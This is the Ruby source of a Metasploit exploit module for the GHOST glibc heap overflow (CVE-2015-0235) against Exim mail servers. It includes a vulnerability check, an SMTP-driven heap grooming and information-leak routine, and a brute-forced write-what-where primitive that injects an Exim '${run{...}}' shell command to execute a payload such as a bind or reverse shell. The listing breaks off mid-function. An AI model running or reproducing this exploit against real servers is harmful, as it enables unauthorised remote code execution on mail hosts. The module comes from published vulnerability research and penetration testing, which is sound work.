##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
Metasploit4 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'Exim GHOST (glibc gethostbyname) Buffer Overflow'
,
'Description'
=> %q(
This
module
remotely exploits
CVE
-
2015
-
0235
(a.k.a.
GHOST
, a heap-based
buffer overflow
in
the
GNU
C
Library's gethostbyname functions) on x86
and
x86_64
GNU
/Linux systems that run the Exim mail server. Technical
information about the exploitation can be found
in
the original
GHOST
advisory,
and
in
the source code of this
module
.
------------------------------------------------------------------------
SERVER
-
SIDE
REQUIREMENTS
(Exim)
------------------------------------------------------------------------
The remote system must use a vulnerable version of the
GNU
C
Library:
the first exploitable version is glibc-
2
.
6
, the last exploitable version
is glibc-
2
.
17
; older versions might be exploitable too, but this
module
depends on the newer versions' fd_nextsize (a member of the malloc_chunk
structure) to remotely obtain the address of Exim's smtp_cmd_buffer
in
the heap.
------------------------------------------------------------------------
The remote system must run the Exim mail server: the first exploitable
version is exim-
4
.
77
; older versions might be exploitable too, but this
module
depends on the newer versions'
16
-
KB
smtp_cmd_buffer to reliably
set up the heap as described
in
the
GHOST
advisory.
------------------------------------------------------------------------
The remote Exim mail server must be configured to perform extra security
checks against its
SMTP
clients: either the helo_try_verify_hosts
or
the
helo_verify_hosts option must be enabled; the
"verify = helo"
ACL
might
be exploitable too, but is unpredictable
and
therefore
not
supported by
this
module
.
------------------------------------------------------------------------
CLIENT
-
SIDE
REQUIREMENTS
(Metasploit)
------------------------------------------------------------------------
This
module
's
"exploit"
method requires the
SENDER_HOST_ADDRESS
option
to be set to the IPv4 address of the
SMTP
client (Metasploit), as seen
by the
SMTP
server (Exim); additionally, this IPv4 address must have
both forward
and
reverse
DNS
entries that match
each
other
(Forward-Confirmed reverse
DNS
).
------------------------------------------------------------------------
The remote Exim server might be exploitable even
if
the Metasploit
client has no FCrDNS, but this
module
depends on Exim's sender_host_name
variable to be set
in
order to reliably control the state of the remote
heap.
------------------------------------------------------------------------
TROUBLESHOOTING
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (nil)"
failure: the
SENDER_HOST_ADDRESS
option
was
not
specified.
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)"
failure:
the
SENDER_HOST_ADDRESS
option was specified, but
not
in
IPv4
dotted-decimal notation.
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (helo_verify_hosts)"
or
"bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)"
failure: the
SENDER_HOST_ADDRESS
option does
not
match the IPv4 address of the
SMTP
client (Metasploit), as seen by the
SMTP
server (Exim).
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (no FCrDNS)"
failure: the IPv4 address of the
SMTP
client (Metasploit) has no Forward-Confirmed reverse
DNS
.
------------------------------------------------------------------------
"not vuln? old glibc? (no leaked_arch)"
failure: the remote Exim server
is either
not
vulnerable,
or
not
exploitable (glibc versions older than
glibc-
2
.
6
have no fd_nextsize member
in
their malloc_chunk structure).
------------------------------------------------------------------------
"NUL, CR, LF in addr? (no leaked_addr)"
failure: Exim's heap address
contains bad characters (
NUL
,
CR
,
LF
)
and
was therefore mangled during
the information leak; this exploit is able to reconstruct most of these
addresses, but
not
all (worst-
case
probability is ~
1
/
85
, but could be
further improved).
------------------------------------------------------------------------
"Brute-force SUCCESS"
followed by a
nil
reply, but no shell: the remote
Unix command was executed, but spawned a bind-shell
or
a reverse-shell
that failed to connect (maybe because of a firewall,
or
a
NAT
, etc).
------------------------------------------------------------------------
"Brute-force SUCCESS"
followed by a non-
nil
reply,
and
no shell: the
remote Unix command was executed, but failed to spawn the shell (maybe
because the setsid command doesn
't exist, or awk isn'
t gawk,
or
netcat
doesn
't support the -6 or -e option, or telnet doesn'
t support the -z
option, etc).
------------------------------------------------------------------------
Comments
and
questions are welcome!
),
'Author'
=> [
'Qualys, Inc. <qsa[at]qualys.com>'
],
'License'
=>
BSD_LICENSE
,
'References'
=> [
[
'CVE'
,
'2015-0235'
],
[
'US-CERT-VU'
,
'967332'
],
[
'OSVDB'
,
'117579'
],
[
'BID'
,
'72325'
],
[
'URL'
,
'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt'
]
],
'DisclosureDate'
=>
'Jan 27 2015'
,
'Privileged'
=>
false
,
# uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
'Platform'
=>
'unix'
,
# actually 'linux', but we execute a unix-command payload
'Arch'
=>
ARCH_CMD
,
# actually [ARCH_X86, ARCH_X86_64], but ^
'Payload'
=> {
'Space'
=>
255
,
# the shorter the payload, the higher the probability of code execution
'BadChars'
=>
""
,
# we encode the payload ourselves, because ^
'DisableNops'
=>
true
,
'ActiveTimeout'
=>
24
*
60
*
60
# we may need more than 150 s to execute our bind-shell
},
'Targets'
=> [[
'Automatic'
, {}]],
'DefaultTarget'
=>
0
))
register_options([
Opt::
RPORT
(
25
),
OptAddress.
new
(
'SENDER_HOST_ADDRESS'
, [
false
,
'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)'
,
nil
])
],
self
.
class
)
register_advanced_options([
OptBool.
new
(
'I_KNOW_WHAT_I_AM_DOING'
, [
false
,
'Please read the source code for details'
,
nil
])
],
self
.
class
)
end
def
check
# for now, no information about the vulnerable state of the target
check_code = Exploit::CheckCode::Unknown
begin
# not exploiting, just checking
smtp_connect(
false
)
# malloc()ate gethostbyname's buffer, and
# make sure its next_chunk isn't the top chunk
9
.times
do
smtp_send(
"HELO "
,
""
,
"0"
,
""
,
""
,
1024
+
16
-
1
+
0
)
smtp_recv(
HELO_CODES
)
end
# overflow (4 bytes) gethostbyname's buffer, and
# overwrite its next_chunk's size field with 0x00303030
smtp_send(
"HELO "
,
""
,
"0"
,
""
,
""
,
1024
+
16
-
1
+
4
)
# from now on, an exception means vulnerable
check_code = Exploit::CheckCode::Vulnerable
# raise an exception if no valid SMTP reply
reply = smtp_recv(
ANY_CODE
)
# can't determine vulnerable state if smtp_verify_helo() isn't called
return
Exploit::CheckCode::Unknown
if
reply[
:code
] !~ /
#{HELO_CODES}/
# realloc()ate gethostbyname's buffer, and
# crash (old glibc) or abort (new glibc)
# on the overwritten size field
smtp_send(
"HELO "
,
""
,
"0"
,
""
,
""
,
2048
-
16
-
1
+
4
)
# raise an exception if no valid SMTP reply
reply = smtp_recv(
ANY_CODE
)
# can't determine vulnerable state if smtp_verify_helo() isn't called
return
Exploit::CheckCode::Unknown
if
reply[
:code
] !~ /
#{HELO_CODES}/
# a vulnerable target should've crashed by now
check_code = Exploit::CheckCode::Safe
rescue
peer =
"#{rhost}:#{rport}"
vprint_debug(
"#{peer} - Caught #{$!.class}: #{$!.message}"
)
ensure
smtp_disconnect
end
return
check_code
end
def
exploit
unless
datastore[
'I_KNOW_WHAT_I_AM_DOING'
]
print_status(
"Checking if target is vulnerable..."
)
fail_with(
"exploit"
,
"Vulnerability check failed."
)
if
check != Exploit::CheckCode::Vulnerable
print_good(
"Target is vulnerable."
)
end
information_leak
code_execution
end
private
HELO_CODES
=
'250|451|550'
ANY_CODE
=
'[0-9]{3}'
MIN_HEAP_SHIFT
=
80
MIN_HEAP_SIZE
=
128
*
1024
MAX_HEAP_SIZE
=
1024
*
1024
# Exim
ALIGNMENT
=
8
STORE_BLOCK_SIZE
=
8192
STOREPOOL_MIN_SIZE
=
256
LOG_BUFFER_SIZE
=
8192
BIG_BUFFER_SIZE
=
16384
SMTP_CMD_BUFFER_SIZE
=
16384
IN_BUFFER_SIZE
=
8192
# GNU C Library
PREV_INUSE
= 0x1
NS_MAXDNAME
=
1025
# Linux
MMAP_MIN_ADDR
=
65536
def
information_leak
print_status(
"Trying information leak..."
)
leaked_arch =
nil
leaked_addr = []
# try different heap_shift values, in case Exim's heap address contains
# bad chars (NUL, CR, LF) and was mangled during the information leak;
# we'll keep the longest one (the least likely to have been truncated)
16
.times
do
done = catch(
:another_heap_shift
)
do
heap_shift =
MIN_HEAP_SHIFT
+ (rand(
1024
) & ~
15
)
print_debug(
"#{{ heap_shift: heap_shift }}"
)
# write the malloc_chunk header at increasing offsets (8-byte step),
# until we overwrite the "503 sender not yet given" error message
128
.step(
256
,
8
)
do
|write_offset|
error = try_information_leak(heap_shift, write_offset)
print_debug(
"#{{ write_offset: write_offset, error: error }}"
)
throw
(
:another_heap_shift
)
if
not
error
next
if
error ==
"503 sender not yet given"
# try a few more offsets (allows us to double-check things,
# and distinguish between 32-bit and 64-bit machines)
error = [error]
1
.upto(
5
)
do
|i|
error[i] = try_information_leak(heap_shift, write_offset + i*
8
)
throw
(
:another_heap_shift
)
if
not
error[i]
end
print_debug(
"#{{ error: error }}"
)
_leaked_arch = leaked_arch
if
(error[
0
] == error[
1
])
and
(error[
0
].empty?
or
(error[
0
].unpack(
'C'
)[
0
] &
7
) ==
0
)
and
# fd_nextsize
(error[
2
] == error[
3
])
and
(error[
2
].empty?
or
(error[
2
].unpack(
'C'
)[
0
] &
7
) ==
0
)
and
# fd
(error[
4
] =~ /\
A503
send[^e].?\z/mn)
and
((error[
4
].unpack(
'C*'
)[
8
] &
15
) ==
PREV_INUSE
)
and
# size
(error[
5
] ==
"177"
)
# the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
leaked_arch =
ARCH_X86_64
elsif
(error[
0
].empty?
or
(error[
0
].unpack(
'C'
)[
0
] &
3
) ==
0
)
and
# fd_nextsize
(error[
1
].empty?
or
(error[
1
].unpack(
'C'
)[
0
] &
3
) ==
0
)
and
# fd
(error[
2
] =~ /\
A503
[^s].?\z/mn)
and
((error[
2
].unpack(
'C*'
)[
4
] &
7
) ==
PREV_INUSE
)
and
# size
(error[
3
] ==
"177"
)
# the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
leaked_arch =
ARCH_X86
else
throw
(
:another_heap_shift
)
end
print_debug(
"#{{ leaked_arch: leaked_arch }}"
)
fail_with(
"infoleak"
,
"arch changed"
)
if
_leaked_arch
and
_leaked_arch != leaked_arch
# try different large-bins: most of them should be empty,
# so keep the most frequent fd_nextsize address
# (a pointer to the malloc_chunk itself)
count =
Hash
.
new
(
0
)
0
.upto(
9
)
do
|last_digit|
error = try_information_leak(heap_shift, write_offset, last_digit)
next
if
not
error
or
error.length <
2
# heap_shift can fix the 2 least significant NUL bytes
next
if
(error.unpack(
'C'
)[
0
] & (leaked_arch ==
ARCH_X86
?
7
:
15
)) !=
0
# MALLOC_ALIGN_MASK
count[error] +=
1
end
print_debug(
"#{{ count: count }}"
)
throw
(
:another_heap_shift
)
if
count.empty?
# convert count to a nested array of [key, value] arrays and sort it
error_count = count.sort { |a, b| b[
1
] <=> a[
1
] }
error_count = error_count.first
# most frequent
error = error_count[
0
]
count = error_count[
1
]
throw
(
:another_heap_shift
)
unless
count >=
6
# majority
leaked_addr.push({ error: error, shift: heap_shift })
# common-case shortcut
if
(leaked_arch ==
ARCH_X86
and
error[
0
,
4
] == error[
4
,
4
]
and
error[
8
..-
1
] ==
"er not yet given"
)
or
(leaked_arch ==
ARCH_X86_64
and
error.length ==
6
and
error[
5
].count(
"\x7E-\x7F"
).nonzero?)
leaked_addr = [leaked_addr.last]
# use this one, and not another
throw
(
:another_heap_shift
,
true
)
# done
end
throw
(
:another_heap_shift
)
end
throw
(
:another_heap_shift
)
end
break
if
done
end
fail_with(
"infoleak"
,
"not vuln? old glibc? (no leaked_arch)"
)
if
leaked_arch.
nil
?
fail_with(
"infoleak"
,
"NUL, CR, LF in addr? (no leaked_addr)"
)
if
leaked_addr.empty?
leaked_addr.sort! { |a, b| b[
:error
].length <=> a[
:error
].length }
leaked_addr = leaked_addr.first
# longest
error = leaked_addr[
:error
]
shift = leaked_addr[
:shift
]
leaked_addr =
0
(leaked_arch ==
ARCH_X86
?
4
:
8
).times
do
|i|
break
if
i >= error.length
leaked_addr += error.unpack(
'C*'
)[i] * (
2
**(i*
8
))
end
# leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
leaked_addr -=
2
*
SMTP_CMD_BUFFER_SIZE
+
IN_BUFFER_SIZE
+
4
*(
11
*
1024
+shift) +
3
*
1024
+
STORE_BLOCK_SIZE
fail_with(
"infoleak"
,
"NUL, CR, LF in addr? (no leaked_addr)"
)
if
leaked_addr <=
MMAP_MIN_ADDR
print_good(
"Successfully leaked_arch: #{leaked_arch}"
)
print_good(
"Successfully leaked_addr: #{leaked_addr.to_s(16)}"
)
@leaked
= { arch: leaked_arch, addr: leaked_addr }
end
def
try_information_leak(heap_shift, write_offset, last_digit =
9
)
fail_with(
"infoleak"
,
"heap_shift"
)
if
(heap_shift <
MIN_HEAP_SHIFT
)
fail_with(
"infoleak"
,
"heap_shift"
)
if
(heap_shift &
15
) !=
0
fail_with(
"infoleak"
,
"write_offset"
)
if
(write_offset &
7
) !=
0
fail_with(
"infoleak"
,
"last_digit"
)
if
"#{last_digit}"
!~ /\
A
[
0
-
9
]\z/
smtp_connect
# bulletproof Heap Feng Shui; the hard part is avoiding:
# "Too many syntax or protocol errors" (3)
# "Too many unrecognized commands" (3)
# "Too many nonmail commands" (10)
smtp_send(
"HELO "
,
""
,
"0"
,
@sender
[
:hostaddr8
],
""
,
11
*
1024
+
13
-
1
+ heap_shift)
smtp_recv(
250
)
smtp_send(
"HELO "
,
""
,
"0"
,
@sender
[
:hostaddr8
],
""
,
3
*
1024
+
13
-
1
)
smtp_recv(
250
)
smtp_send(
"HELO "
,
""
,
"0"
,
@sender
[
:hostaddr8
],
""
,
3
*
1024
+
16
+
13
-
1
)
smtp_recv(
250
)
smtp_send(
"HELO "
,
""
,
"0"
,
@sender
[
:hostaddr8
],
""
,
8
*
1024
+
16
+
13
-
1
)
smtp_recv(
250
)
smtp_send(
"HELO "
,
""
,
"0"
,
@sender
[
:hostaddr8
],
""
,
5
*
1024
+
16
+
13
-
1
)
smtp_recv(
250
)
# overflow (3 bytes) gethostbyname's buffer, and
# overwrite its next_chunk's size field with 0x003?31
# ^ last_digit
smtp_send(
"HELO "
,
""
,
"0"
,
".1#{last_digit}"
,
""
,
12
*
1024
+
3
-
1
+ heap_shift-
MIN_HEAP_SHIFT
)
begin
# ^ 0x30 | PREV_INUSE
smtp_recv(
HELO_CODES
)
smtp_send(
"RSET"
)
smtp_recv(
250
)
smtp_send(
"RCPT TO:"
,
""
, method(
:rand_text_alpha
),
"\x7F"
,
""
,
15
*
1024
)
smtp_recv(
503
,
'sender not yet given'
)
smtp_send(
""
,
"BAD1 "
, method(
:rand_text_alpha
),
"\x7F\x7F\x7F\x7F"
,
""
,
10
*
1024
-
16
-
1
+ write_offset)
smtp_recv(
500
,
'\A500 unrecognized command\r\n\z'
)
smtp_send(
"BAD2 "
,
""
, method(
:rand_text_alpha
),
"\x7F"
,
""
,
15
*
1024
)
smtp_recv(
500
,
'\A500 unrecognized command\r\n\z'
)
smtp_send(
"DATA"
)
reply = smtp_recv(
503
)
lines = reply[
:lines
]
fail
if
lines.size <=
3
fail
if
lines[+
0
] !=
"503-All RCPT commands were rejected with this error:\r\n"
fail
if
lines[-
2
] !=
"503-valid RCPT command must precede DATA\r\n"
fail
if
lines[-
1
] !=
"503 Too many syntax or protocol errors\r\n"
# if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
# (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
# but happens with lower probability)
error = lines[+
1
..-
3
].join(
""
)
error.sub!(/\
A503
-/mn,
""
)
error.sub!(/\r\n\z/mn,
""
)
error.gsub!(/\r\n503-/mn,
"\n"
)
return
error
rescue
return
nil
end
ensure
smtp_disconnect
end
def
code_execution
print_status(
"Trying code execution..."
)
# can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
# DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
# that rogue child processes cannot use them.
fail_with(
"codeexec"
,
"encoded payload"
)
if
payload.raw != payload.encoded
fail_with(
"codeexec"
,
"invalid payload"
)
if
payload.raw.empty?
or
payload.raw.count(
"^\x20-\x7E"
).nonzero?
# Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
# and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
encoded = payload.raw.gsub(/[\"\\]/,
'\\\\\\&'
).gsub(/[\$\{\}\\]/,
'\\\\\\&'
)
# setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
command =
'${run{/usr/bin/env setsid /bin/sh -c "'
+ encoded +
'"}}'
print_debug(command)
# don't try to execute commands directly, try a very simple ACL first,
# to distinguish between exploitation-problems and shellcode-problems
acldrop =
"drop message="
message = rand_text_alpha(command.length - acldrop.length)
acldrop += message
max_rand_offset = (
@leaked
[
:arch
] ==
ARCH_X86
?
32
:
64
)
max_heap_addr =
@leaked
[
:addr
]
min_heap_addr =
nil
survived =
nil
# we later fill log_buffer and big_buffer with alpha chars,
# which creates a safe-zone at the beginning of the heap,
# where we can't possibly crash during our brute-force
# 4, because 3 copies of sender_helo_name, and step_len;
# start big, but refine little by little in case
# we crash because we overwrite important data
helo_len = (
LOG_BUFFER_SIZE
+
BIG_BUFFER_SIZE
) /
4
loop
do
sender_helo_name =
"A"
* helo_len
address = sprintf(
"[%s]:%d"
,
@sender
[
:hostaddr
],
65535
)
# the 3 copies of sender_helo_name, allocated by
# host_build_sender_fullhost() in POOL_PERM memory
helo_ip_size =
ALIGNMENT
+
sender_helo_name[+
1
..-
2
].length
sender_fullhost_size =
ALIGNMENT
+
sprintf(
"%s (%s) %s"
,
@sender
[
:hostname
], sender_helo_name, address).length
sender_rcvhost_size =
ALIGNMENT
+ ((
@sender
[
:ident
] ==
nil
) ?
sprintf(
"%s (%s helo=%s)"
,
@sender
[
:hostname
], address, sender_helo_name) :
sprintf(
"%s\n\t(%s helo=%s ident=%s)"
,
@sender
[
:hostname
], address, sender_helo_name,
@sender
[
:ident
])
).length
# fit completely into the safe-zone
step_len = (
LOG_BUFFER_SIZE
+
BIG_BUFFER_SIZE
) -
(max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)
loop
do
# inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer
# with alpha chars, which creates another safe-zone at the end of the heap)
heap_addr = max_heap_addr
loop
do
# try harder the first time around: we obtain better
# heap boundaries, and we usually hit our ACL faster
(min_heap_addr ?
1
:
2
).times
do
# try the same heap_addr several times, but with different random offsets,
# in case we crash because our hijacked storeblock's length field is too small
# (we don't control what's stored at heap_addr)
rand_offset = rand(max_rand_offset)
print_debug(
"#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}"
)
reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
print_debug(
"#{{ reply: reply }}"
)
if
reply
if
reply
and
reply[
:code
] ==
"550"
and
# detect the parsed ACL, not the "still in text form" ACL (with "=")
reply[
:lines
].join(
""
).delete(
"^=A-Za-z"
) =~ /(\
A
|[^=])
#{message}/mn
print_good(
"Brute-force SUCCESS"
)
print_good(
"Please wait for reply..."
)
# execute command this time, not acldrop
reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
print_debug(
"#{{ reply: reply }}"
)
return
handler
end
if
not
min_heap_addr
if
reply
fail_with(
"codeexec"
,
"no min_heap_addr"
)
if
(max_heap_addr - heap_addr) >=
MAX_HEAP_SIZE
survived = heap_addr
else
if
((survived ? survived : max_heap_addr) - heap_addr) >=
MIN_HEAP_SIZE
# survived should point to our safe-zone at the beginning of the heap
fail_with(
"codeexec"
,
"never survived"
)
if
not
survived
print_good
"Brute-forced min_heap_addr: #{survived.to_s(16)}"
min_heap_addr = survived
end
end
end
end
heap_addr -= step_len
break
if
min_heap_addr
and
heap_addr < min_heap_addr
end
break
if
step_len <
1024
step_len /=
2
end
helo_len /=
2
break
if
helo_len <
1024
# ^ otherwise the 3 copies of sender_helo_name will
# fit into the current_block of POOL_PERM memory
end
fail_with(
"codeexec"
,
"Brute-force FAILURE"
)
end
# our write-what-where primitive
def
try_code_execution(len, what, where)
fail_with(
"codeexec"
,
"#{what.length} >= #{len}"
)
if
what.length >= len
fail_with(
"codeexec"
,
"#{where} < 0"
)
if
where <
0
x86 = (
@leaked
[
:arch
] ==
ARCH_X86
)
min_heap_shift = (x86 ?
512
:
768
)
# at least request2size(sizeof(FILE))
heap_shift = min_heap_shift + rand(
1024
- min_heap_shift)
last_digit =
1
+ rand(
9
)
smtp_connect
# fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars
smtp_send(
"MAIL FROM:"
,
""
, method(
:rand_text_alpha
),
"<#{rand_text_alpha_upper(8)}>"
,
""
,
BIG_BUFFER_SIZE
-
"501 : sender address must contain a domain\r\n\0"
.length)
smtp_recv(
501
,
'sender address must contain a domain'
)
smtp_send(
"RSET"
)
smtp_recv(
250
)
# bulletproof Heap Feng Shui; the hard part is avoiding:
# "Too many syntax or protocol errors" (3)
# "Too many unrecognized commands" (3)
# "Too many nonmail commands" (10)
# / 5, because "\x7F" is non-print, and:
# ss = store_get(length + nonprintcount * 4 + 1);
smtp_send(
"BAD1 "
,
""
,
"\x7F"
,
""
,
""
, (
19
*
1024
+ heap_shift) /
5
)
smtp_recv(
500
,
'\A500 unrecognized command\r\n\z'
)
smtp_send(
"HELO "
,
""
,
"0"
,
@sender
[
:hostaddr8
],
""
,
5
*
1024
+
13
-
1
)
smtp_recv(
250
)
smtp_send(
"HELO "
,
""
,
"0"
,
@sender
[
:hostaddr8
],
""
,
3
*
1024
+
13
-
1
)
smtp_recv(
250
)
smtp_send(
"BAD2 "
,
""
,
"\x7F"
,
""
,
""
, (
13
*
1024
+
128
) /
5
)
smtp_recv(
500
,
'\A500 unrecognized command\r\n\z'
)
smtp_send(
"HELO "
,
""
,
"0"
,
@sender
[
:hostaddr8
],
""
,
3
*
1024
+
16
+
13
-
1
)
smtp_recv(
250
)
# overflow (3 bytes) gethostbyname's buffer, and
# overwrite its next_chunk's size field with 0x003?31
# ^ last_digit
smtp_send(
"EHLO "
,
""
,
"0"
,
".1#{last_digit}"
,
""
,
5
*
1024
+
64
+
3
-
1
)
smtp_recv(
HELO_CODES
)
# ^ 0x30 | PREV_INUSE
# auth_xtextdecode() is the only way to overwrite the beginning of a
# current_block of memory (the "storeblock" structure) with arbitrary data
# (so that our hijacked "next" pointer can contain NUL, CR, LF characters).
# this shapes the rest of our exploit: we overwrite the beginning of the
# current_block of POOL_PERM memory with the current_block of POOL_MAIN
# memory (allocated by auth_xtextdecode()).
auth_prefix = rand_text_alpha(x86 ?
11264
:
11280
)
(x86 ?
4
:
8
).times { |i| auth_prefix += sprintf(
"+%02x"
, (where >> (i*
8
)) &
255
) }
auth_prefix +=
"."
# also fill log_buffer with alpha chars
smtp_send(
"MAIL FROM:<> AUTH="
, auth_prefix, method(
:rand_text_alpha
),
"+"
,
""
, 0x3030)
smtp_recv(
501
,
'invalid data for AUTH'
)
smtp_send(
"HELO "
,
"[1:2:3:4:5:6:7:8%eth0:"
,
" "
,
"#{what}]"
,
""
, len)
begin
reply = smtp_recv(
ANY_CODE
)
return
reply
if
reply[
:code
] !~ /
#{HELO_CODES}/
return
reply
if
reply[
:code
] !=
"250"
and
reply[
:lines
].first !~ /argument does
not
match calling host/
smtp_send(
"MAIL FROM:<>"
)
reply = smtp_recv(
ANY_CODE
)
return
reply
if
reply[
:code
] !=
"250"
smtp_send(
"RCPT TO:<postmaster>"
)
reply = smtp_recv
return
reply
rescue
return
nil
end
ensure
smtp_disconnect
end
DIGITS
=
'([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'
DOT
=
'[.]'
def
smtp_connect(exploiting =
true
)
fail_with(
"smtp_connect"
,
"sock isn't nil"
)
if
sock
connect
fail_with(
"smtp_connect"
,
"sock is nil"
)
if
not
sock
@smtp_state
=
:recv
banner = smtp_recv(
220
)
return
if
not
exploiting
sender_host_address = datastore[
'SENDER_HOST_ADDRESS'
]
if
sender_host_address !~ /\
A
#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
fail_with(
"smtp_connect"
,
"bad SENDER_HOST_ADDRESS (nil)"
)
if
sender_host_address.
nil
?
fail_with(
"smtp_connect"
,
"bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)"
)
end
sender_host_address_octal =
"0"
+
$1
.to_i.to_s(
8
) +
".#{$2}.#{$3}.#{$4}"
# turn helo_seen on (enable the MAIL command)
# call smtp_verify_helo() (force fopen() and small malloc()s)
# call host_find_byname() (force gethostbyname's initial 1024-byte malloc())
smtp_send(
"HELO #{sender_host_address_octal}"
)
reply = smtp_recv(
HELO_CODES
)
if
reply[
:code
] !=
"250"
fail_with(
"smtp_connect"
,
"not Exim?"
)
if
reply[
:lines
].first !~ /argument does
not
match calling host/
fail_with(
"smtp_connect"
,
"bad SENDER_HOST_ADDRESS (helo_verify_hosts)"
)
end
if
reply[
:lines
].first =~ /\
A250
(\
S
*) Hello (.*) \[(\
S
*)\]\r\n\z/mn
fail_with(
"smtp_connect"
,
"bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)"
)
if
sender_host_address !=
$3
smtp_active_hostname =
$1
sender_host_name =
$2
if
sender_host_name =~ /\
A
(.*) at (\
S
*)\z/mn
sender_host_name =
$2
sender_ident =
$1
else
sender_ident =
nil
end
fail_with(
"smtp_connect"
,
"bad SENDER_HOST_ADDRESS (no FCrDNS)"
)
if
sender_host_name == sender_host_address_octal
else
# can't double-check sender_host_address here, so only for advanced users
fail_with(
"smtp_connect"
,
"user-supplied EHLO greeting"
)
unless
datastore[
'I_KNOW_WHAT_I_AM_DOING'
]
# worst-case scenario
smtp_active_hostname =
"A"
*
NS_MAXDNAME
sender_host_name =
"A"
*
NS_MAXDNAME
sender_ident =
"A"
*
127
*
4
# sender_ident = string_printing(string_copyn(p, 127));
end
_sender =
@sender
@sender
= {
hostaddr: sender_host_address,
hostaddr8: sender_host_address_octal,
hostname: sender_host_name,
ident: sender_ident,
__smtp_active_hostname: smtp_active_hostname
}
fail_with(
"smtp_connect"
,
"sender changed"
)
if
_sender
and
_sender !=
@sender
# avoid a future pathological case by forcing it now:
# "Do NOT free the first successor, if our current block has less than 256 bytes left."
smtp_send(
"MAIL FROM:"
,
"<"
, method(
:rand_text_alpha
),
">"
,
""
,
STOREPOOL_MIN_SIZE
+
16
)
smtp_recv(
501
,
'sender address must contain a domain'
)
smtp_send(
"RSET"
)
smtp_recv(
250
,
'Reset OK'
)
end
def
smtp_send(prefix, arg_prefix =
nil
, arg_pattern =
nil
, arg_suffix =
nil
, suffix =
nil
, arg_length =
nil
)
fail_with(
"smtp_send"
,
"state is #{@smtp_state}"
)
if
@smtp_state
!=
:send
@smtp_state
=
:sending
if
not
arg_pattern
fail_with(
"smtp_send"
,
"prefix is nil"
)
if
not
prefix
fail_with(
"smtp_send"
,
"param isn't nil"
)
if
arg_prefix
or
arg_suffix
or
suffix
or
arg_length
command = prefix
else
fail_with(
"smtp_send"
,
"param is nil"
)
unless
prefix
and
arg_prefix
and
arg_suffix
and
suffix
and
arg_length
length = arg_length - arg_prefix.length - arg_suffix.length
fail_with(
"smtp_send"
,
"len is #{length}"
)
if
length <=
0
argument = arg_prefix
case
arg_pattern
when
String
argument += arg_pattern * (length / arg_pattern.length)
argument += arg_pattern[
0
, length % arg_pattern.length]
when
Method
argument += arg_pattern.call(length)
end
argument += arg_suffix
fail_with(
"smtp_send"
,
"arglen is #{argument.length}, not #{arg_length}"
)
if
argument.length != arg_length
command = prefix + argument + suffix
end
fail_with(
"smtp_send"
,
"invalid char in cmd"
)
if
command.count(
"^\x20-\x7F"
) >
0
fail_with(
"smtp_send"
,
"cmdlen is #{command.length}"
)
if
command.length >
SMTP_CMD_BUFFER_SIZE
command +=
"\n"
# RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer
# the following loop works around a bug in the put() method:
# "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
# (or send_idx and/or send_len could be removed altogether, like here)
while
command
and
not
command.empty?
num_sent = sock.put(command)
fail_with(
"smtp_send"
,
"sent is #{num_sent}"
)
if
num_sent <=
0
fail_with(
"smtp_send"
,
"sent is #{num_sent}, greater than #{command.length}"
)
if
num_sent > command.length
command = command[num_sent..-
1
]
end
@smtp_state
=
:recv
end
def
smtp_recv(expected_code =
nil
, expected_data =
nil
)
fail_with(
"smtp_recv"
,
"state is #{@smtp_state}"
)
if
@smtp_state
!=
:recv
@smtp_state
=
:recving
failure = catch(
:failure
)
do
# parse SMTP replies very carefully (the information
# leak injects arbitrary data into multiline replies)
data =
""
while
data !~ /(\
A
|\r\n)[
0
-
9
]{
3
}[ ].*\r\n\z/mn
begin
more_data = sock.get_once
rescue
throw
(
:failure
,
"Caught #{$!.class}: #{$!.message}"
)
end
throw
(
:failure
,
"no more data"
)
if
more_data.
nil
?
throw
(
:failure
,
"no more data"
)
if
more_data.empty?
data += more_data
end
throw
(
:failure
,
"malformed reply (count)"
)
if
data.count(
"\0"
) >
0
lines = data.scan(/(?:\
A
|\r\n)[
0
-
9
]{
3
}[ -].*?(?=\r\n(?=[
0
-
9
]{
3
}[ -]|\z))/mn)
throw
(
:failure
,
"malformed reply (empty)"
)
if
lines.empty?
code =
nil
lines.size.times
do
|i|
lines[i].sub!(/\
A
\r\n/mn,
""
)
lines[i] +=
"\r\n"
if
i ==
0
code = lines[i][
0
,
3
]
throw
(
:failure
,
"bad code"
)
if
code !~ /\
A
[
0
-
9
]{
3
}\z/mn
if
expected_code
and
